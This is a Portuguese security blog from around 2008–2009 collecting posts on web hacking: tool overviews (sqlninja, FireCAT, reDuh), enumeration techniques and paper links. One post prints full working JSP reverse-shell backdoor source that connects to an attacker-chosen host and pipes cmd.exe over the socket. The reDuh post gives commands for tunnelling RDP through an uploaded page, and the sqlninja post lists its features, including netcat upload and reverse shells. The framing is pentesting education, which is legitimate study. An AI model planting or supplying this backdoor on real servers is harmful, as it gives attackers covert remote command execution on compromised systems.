PHP filesystem attack vectors February 12, 2009
Posted by y2h4ck in General Hacking, Web Hacking.Tags: Hacking, Pentest, php attacks, security
add a comment

Olá pessoal, após um pequeno periodo de “férias” estou de volta postando algumas coisas interessantes que estão rolando por ai. Um texto que li estes dias que realmente me chamou a atenção foi o paper do Ushi Team falando sobre vetores de ataques ao filesystem utilizando PHP.
Um dos fatores mais interessantes é que um dos ataques demonstrados no paper refere-se ao uso do patch Suhoshin, justamente criado para delimitar ataques em códigos PHP, atuando como uma espécie de filtro de chamadas perigosas.
Uma leitura que realmente vale a pena.
ClickJacking + XSS = YouR PwneD January 6, 2009
Posted by y2h4ck in General Hacking, Web Hacking.Tags: clickjacking, Hacking, Web Hacking, xss
add a comment
No artigo a seguir postado pelo Nex (http://nex.playhack.net) é comentada a possibilidade de mesclar ataques de ClickJacking junto com XSS, aumentando consideravelmente o escopo de ação deste tão comentado ataque.
Link Aqui
reDuh: TCP Tunnel through HTTP Requests November 28, 2008
Posted by y2h4ck in General Hacking, Pentesting, Web Hacking.Tags: asp tunnel, Hacking, http tunnel, jsp tunnel, php tunnel, reDuh, tcp redirects, Web Hacking
add a comment
Muitas vezes, durante um pentest, são encontradas falhas em aplicações web que permitem que seja feito o upload de arquivos para o servidor web. Nesta hora, apesar da falha não proporcionar um acesso administrativo direto, ela fornece um canal muito rico em possibilidades. Uma destas possibilidades que iremos tratar hoje é reDuh criado pela SensePost para HTTP Tunneling e TCP redirects.
O reDuh é atualmente uma ferramenta que pode ser utilizada para criar circuitos TCP através de requisições HTTP validadas.
Por enquanto não foi divulgada nenhuma documentação completa a respeito da ferramenta e no próprio site eles dizem que estão elaborando um .ppt demonstrativo. Porém vamos citar um exemplo simples de utilização da ferramenta.
Vamos pensar no seguinte cenário:
Digamos que você consiga exploitar uma falha qualquer ou conseguiu acesso por meio de um usuário desprotegido a um FTP do servidor web, e consegue enviar e/ou criar uma página JSP no servidor remoto.
Este usuário permitiria acesso ao Terminal Service outros servidores que estão atrás deste servidor web, e você não pode efetuar uma conexào RDP porque o firewall bloqueia todas as conexões de Inbound que chegam para estes hosts e libera apenas a porta 80.

Então nesse momento entra em ação o reDuh. Você faz o upload do arquivo reDuh.jsp para o alvo, que poderia ser o http://web001.target.com/uploads/reDuh.jsp
Feito isto agora, é necessário utilizar o reDuhClient em sua máquina apontando ele para a pagina que você acabou de fazer upload:
$ java reDuhClient web001.target.com 80 /uploads/reDuh.jsp

Você pode administrar o reDuhClient conectando na porta de gerenciamente que ele ira subir (1010 por padrão).
Uma vez conectado na console de gerenciamento do reDuhClient digite:
[createTunnel]1234:term-serv.target.com:3389
O que isto faria:
a) reDuhClient irá iniciar um socket Listen na porta 1324 e enviará uma mensagem HTTP para /uploads/reDuh.jsp que irá então abrir um socket para term-serv.target.com:3389.
b) Qualquer tráfego enviado para a o localhost socket na porta 1234 será codificado, e compactado em requests HTTP e depois enviado para o script /uploads/reDuh.jsp.
c) Qualquer tráfego vindo do servidor term-serv.target.com:3389 para o jsp é adicionado em uma query e enviado de volta para o reDuhClient quando ele requisitar.
Agora basta você iniciar o RDP Cliente de sua preferência e apontar para localhost:1234

O sistema pode gerenciar multiplas conexões, então enquanto a sessão RDP está acontecendo, nós podemos usar o manager e requisitar outros tuneis.
Neste exemplo utilizamos JsP, porém o mesmo se aplicaria caso o servidor utilizasse PHP, ASP ou JSP.
Abaixo seguem os links para Download da Ferramenta:
Download reDuhClient (the local proxy) | Download reDuhu Server Pages (JSP/PHP/ASP)
Aqui também os slides da apresentação na BlackHat 2008 onde o pessoal utilizou o reDuh como exemplo na apresentaçào sobre TCP Redirections and Tunnels.
Espero que gostem.
Good Hacking 4 All.
Curso: Web Application Hacking 29/11 November 20, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, General Security, Network Security, Pentesting, Web Hacking.Tags: curso, curso hacking, curso pentest, cursos, Pentest
add a comment
Pessoal, estou fechando uma turma agora dia 29/11. Convido a todos que tenham interesse de participar. Me enviem um email para maiores informações ou então acesssem a parte “Academy”.
Preço especial para quem citar este link.
Aguardo a todos.
Good Hacking 4 All.
JSP Reverse Shell Backdoor October 13, 2008
Posted by y2h4ck in General Hacking, Pentesting, Web Hacking.Tags: Ethical Hacking, Hacking, InputStream, Java Runtime Backdoor, JRE, jsp backdoor, OutputStream, Pentesting, Reverse Shell
add a comment
Java Server Pages (JSP) e uma forma muito popular para desenvolver aplicações web. Servidores que aplicação que suportam JSP muito conhecidos são Apache Tomcat, Weblogic e iPlanet. Neste post vamos dar uma olhada em um JSP malicioso que pode ser plantado em um servidor de aplicação Java para dar ao atacante uma shell reversa.
Entre as numerosas Classes do JRE está a java.lang.Runtime. Esta classe suporta um grande número de métodos que podem ser utilizados para executar um programa qualquer disponível no sistema alvo. Alguns destes métodos estão listados abaixo:
|
Return value |
Method name |
|
Process |
exec(String command) |
|
Process |
exec(String cmd, String[] envp) |
|
Process |
exec(String command, String[] envp, File dir) |
Observe que estes métodos executam o comando que é enviado através do parâmetro String e retorna um Process Object. Deste Process Object, é possivel obter o InputStream, OutputStream e o ErrorStream do processo executado. O resultado da execução do comando pode ser obtido através da leitura do OutputStream.
O JRE também contem um objeto Socket que pode ser usado para efetuar comunicação socket de outbound. Assim como o Process Object, o Socket Object tem InputStream e OutputStream Objects que pode ser utilizados para ler e escrever dados para o socket. Tendo em mente esta duas classes, é possivel escrever um reverse-shell backdoor cujo os passos seriam os seguintes:
1. Obter o Runtime Object,
2. Executar cmd.exe usando o Runtime Object e pegar o Process Object,
3. Criar uma conexão Socket de volta para o atacante,
4. Conectar o Socket OutStream ao Process InputStream,
5. Connectar o Socket InputStream ao Process OutputStream.
Abaixo segue o código ilustrando o exemplo citado acima:
— BOF—
// backdoor.jsp
< %@
page import=”java.lang.*, java.util.*, java.io.*, java.net.*”
% >
< %!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
% >
<h1>JSP Backdoor Reverse Shell</h1>
<form method=”post”>
IP Address
<input type=”text” name=”ipaddress” size=30>
Port
<input type=”text” name=”port” size=10>
<input type=”submit” name=”Connect” value=”Connect”>
</form>
<p>
<hr>
< %
String ipAddress = request.getParameter(“ipaddress”);
String ipPort = request.getParameter(“port”);
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(“cmd.exe”);
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
% >
–EOF–
A imagem abaixo mostra a tela da Backdoor para que o atacante possa colocar seu host / port para a conexão reversa:
As poderosas classes que pertecem ao JRE Default dão muita flexibilidade para os desenvolvedores de Backdoors. Particularmente, o Runtime class permite a execuçào de programas externos e suporta o carregamento de DLLs ou Unix shared objects.
Se o aplicação server for comprometido, backdoors podem ser plantadas junto com os JAR files da aplicação e será muito dificil de detecta-las.
Good Hacking 4 All.
Link: Source da Backdoor pode ser baixado aqui: Backdoor.Jsp
FireCAT: Firefox Catalog of Auditing exTension September 24, 2008
Posted by y2h4ck in General Hacking, Web Hacking.Tags: Ethical Hacking, firecat, firefox addon, firefox hacking, firefox pentest, Hacker, pen-test, Pentest, Pentesting
add a comment
FireCAT (Firefox Catalog of Auditing exTension) is a mindmap collection of the most efficient and useful firefox extensions oriented application security auditing and assessment
Changes for version 1.4
Information Gathering (Enumeration and Fingerprinting)
Passive Recon : PassiveRecon allows Information Security professionals the ability to perform “packetless” discovery of target resources utilizing publicly available information (Thanks to Kev Orrey)
Security Auditing
Selenium IDE : Selenium is a test tool for web applications. Selenium tests run directly in a browser, just like real users do
RESTTest : Construct custom HTTP requests to directly test requests against a server. RESTTest uses the XmlHttpRequest object and allows you to simulate XHR to quickly prototype requests and test security problems. Designed specifically for working with REST sources, supporting all HTTP methods
Acunetix Firefox plugin: Read here a good review by Kev Orrey. Extension submitted by Kev Orrey from VulnerabilityAssessment
IT Security Related
Added Milw0rm Exploits Search (Thanks to Kev Orrey)
Fixed HashMDTool link
Fixed OSVB extension link
Fixed US Homeland Security Threat link
Hacking Web 2.0 MindMap July 9, 2008
Posted by y2h4ck in Pentesting, Web Hacking.Tags: Ethical Hacking, hacking mindmap, Pentest, Web Hacking
add a comment
Muitas vezes me perguntam sobre algum tipo de framework para pentest em aplicações web para que possa ser serguido. Existem diversos mindmaps para Wireless, Pentest em redes e etc. Navegando em um blog muito bom, encontrei um mindmap muito interessante para Web 2.0
Com certeza podem ser adicionadas muitas coisas a este esquema, porém ja dá uma idéia interessante de por onde começar.
http://michaeldaw.org/images/webhacking2_0.PNG
Good Hacking 4 All.
sqlninja – Blind SQL Injection Exploit Framework June 10, 2008
Posted by y2h4ck in Ethical Hacking, General Hacking, Pentesting, Web Hacking.Tags: Ethical Hacking, exploits, General Hacking, Hacking, mssql hacking, pen-test, penetration testing, Pentesting, sql, sql injection, sqlninja, Web Hacking
add a comment
Sqlninja é uma ferramenta criada para explorar vulnerabilidades de SQL injection em aplicações web que utilizam-se do Microsoft SQL Server em seu back-end.
Seu principal objetivo é prover acesso remoto no servidor Database vulnerável. Pode ser utilizado por penetration testers para ajudar automatizar o processo de intrusão em um servidor DB quando uma vulnerabilidade de SQL Injection é localizada.
A ferramenta é distribuida sob a GPLv2 e classificada no SecurityHacks’ Top 15 Free SQL Injection Scanners, e pode trazer bons resultados durante um pen-test :)
Features
A documentação completa pode ser encontrada no Tarball e também aqui. Abaixo segue uma pequena lista das principais funcionalidades do Sqlninja:
- Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
- Bruteforce of ’sa’ password (in 2 flavors: dictionary-based and incremental)
- Privilege escalation to sysadmin group if ’sa’ password has been found
- Creation of a custom xp_cmdshell if the original one has been removed
- Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
- TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
- Direct and reverse bindshell, both TCP and UDP
- DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works)
- Evasion techniques to confuse a few IDS/IPS/WAF
- Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
Sqlninja é escrito em perl e pode ser executado em qualquer Unix com o interpretador perl e foi testado com sucesso em:
- Linux
- FreeBSD
- Mac OS X
Segue abaixo um DEMO de um pen-test em uma aplicação vulnerável, usando o sqlninja para obter acesso ao DB Server.
http://sqlninja.sourceforge.net/sqlninjademo1.html
Good Hacking 4 All.
“/” Enumeration (Webroot) April 11, 2008
Posted by y2h4ck in Pentesting, Web Hacking.Tags: enumeration, Hacking, Pentesting, web app hacking, web security
add a comment
Website directory enumeration é a combinação de métodos utilizados para conseguir listar os recursos de um determinado site. Não é surpresa que a enumeração de diretórios web seja uma clara evidência da fragilidade da segurança deste tipo de recurso, e é uma das principais formas de descobrir informações interessantes em um pentest.
Muitas vezes recursos que estão expostos fora da arvore de conteúdo principal muitas vezes acabam ficando visíveis para que usuários possam acessa-los, e na maioria das vezes sem que se tenha credenciais validas para se logar no sistema em questão e ter então acesso a estes dados. Abaixo vamos ver alguns métodos utilizados para enumerar este tipo de informação:
Enumeração via Brute Force pode jogar você em muitas direções diferentes que talves não sejam tão interessantes, porém existe várias formas mais interessantes de se implementar a mesma idéia.
Dicionário: Este conceito literalmente tenta todas as possibilidades de combinações de strings que são fornecidas para serem testadas contra o site. Funciona da mesma forma que um ataque de dicionário utilizado por um programa para quebrar senhas. Existe uma ferramenta chamada http-dir-enum, que pode ser baixada aqui e faz exatamente isto.
Common path’s and filenames: Esta técnica consiste em checar combinações de de paths e filenames que são comuns em webservers e que são conhecidos por conterem vulnerabilidades, como por exemplo alguns CGI scripts, determinadas strings PHP/ASP e etc. Este método é largamente utilizado por ferramentas que fazem Scan de Vulnerabilidades em Aplicações Web e servidores web, procurando por strings específicas que respondem a determinada vulnerabilidade. Existe um grande número de ferramentas que executa este tipo de ataque que podem ser baixadas aqui.
Spider emulation: Esta técnica simula a ação de um Search Engine Spider e sai vasculhando o site e visitando todo link que existe no index de todos os resources do site. Um Spider sabe onde ir utilizando o sitemap e os arquivos de robots que estão nos index. Você pode utilizar esta técnica usando o Wget e forjando um User-Agent:
wget -r –spider -l10 –wait 3 –random-wait -Uspiderpiggy -asomelog www.url.com
Falhas de Configuração: Websites ou a implementação errada de arquivos .htaccess comumente mostram uma listagem do conteúdo dos diretórios – alguns sites simplesmente não setam as ACLs para negar o acesso para usuários não autenticado no .htaccess permitindo que o conteúdo seja visualizado.
Certamente existem muitas outras formas de enumerar o conteúdo de um website e todas elas necessitam apenas de um pouco de criatividade e tempo. Good Hacking for all.




















